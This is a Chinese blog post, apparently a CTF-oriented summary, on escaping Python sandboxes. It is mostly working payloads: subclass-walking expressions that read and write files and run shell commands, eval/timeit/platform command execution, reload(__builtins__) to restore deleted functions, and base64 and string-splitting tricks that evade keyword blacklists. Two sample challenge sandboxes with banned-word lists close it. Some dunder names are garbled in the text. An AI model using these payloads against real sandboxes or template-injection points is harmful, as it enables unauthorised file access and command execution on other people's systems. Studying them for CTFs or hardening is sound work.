php 沙箱逃逸,python沙箱逃逸小结

之前碰到了flask模板的漏洞的时候接触过python的一些东西,之前没时间去细看,现在看感觉很强悍,简单总结一下

首先我们不说原理了,也不是太明白,我们直接讲利用,一些python好玩的特性

1.内联函数

python的内敛函数真是强大,可以调用一切函数做自己想做的事情

__builtins__

__import__

我们输入

dir('builtins')

发现如下

ea78e74330706b392f9ca878d0dfa762.png

我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下

().__class__.__bases__[0]

''.__class__.__mro__[2]

验证如下

>>> print ''.__class__.__mro__[2]

'object'>

>>> print ().__class__.__bases__[0]

'object'>

然后我们看一下

444c951ff47db5aa299795c2e7fa6bff.png

存在一个hook函数,直接可以调用

c729bd932652a002c99053c9bd0d983a.png

存在file类型的object,事实上调用后可以对文件操作了

利用代码如下

//读文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

//写文件

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

2.python中可以执行任意代码的神奇函数

(1)timeit

import timeit

timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比较经典了

eval('__import__("os").system("dir")')

(3)platform

import platform

print platform.popen('dir').read()

(4)random和math

(暂时没找到)

3.一些简单攻击总结

(1)reload方法

>>>del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement

>>>del __builtins__.__dict__['eval'] # evaluating code could be dangerous

>>>del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file

>>>del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看似删除了函数,但是没有过滤reload函数

reload(__builtins__)

即可恢复

(2)寻找替代函数

我们在最开始的介绍本质上就是找到了__builtins__的file属性的替代函数,可以直接进行文件操作,包括后面的任意命令执行也是找到了替代函数

(3)加密解密绕过字符串过滤

有可能前端是个web界面,过滤关键词,这里可以用encode什么尝试过滤,如下

>>>import base64

>>>base64.b64encode('__import__')

'X19pbXBvcnRfXw=='

>>>base64.b64encode('os')

'b3M='

然后可以构造

>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

或者利用python对字符串处理的便利绕过,例如

[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

4.收集的一些小题目

#!/usr/bin/env python

from future import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [

"import",

"exec",

"eval",

"pickle",

"os",

"subprocess",

"kevin sucks",

"input",

"banned",

"cry sum more",

"sys"

]

targets = builtins.dict.keys()

targets.remove('raw_input')

targets.remove('print')

for x in targets:

del builtins.dict[x]

while 1:

print(">>>", end=' ')

data = raw_input()

for no in banned:

if no.lower() in data.lower():

print("No bueno")

break

else: # this means nobreak

exec data

def make_secure():

UNSAFE = ['open',

'file',

'execfile',

'compile',

'reload',

'__import__',

'eval',

'input']

for func in UNSAFE:

del __builtins__.__dict__[func]

from re import findall

# Remove dangerous builtins

make_secure()

print 'Go Ahead, Expoit me >;D'

while True:

try:

# Read user input until the first whitespace character

inp = findall('\S+', raw_input())[0]

a = None

# Set a to the result from executing the user input

exec 'a=' + inp

print 'Return Value:', a

except Exception, e:

print 'Exception:', e

应该比较粗糙,欢迎批评指正,或者大佬指点补充一下~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值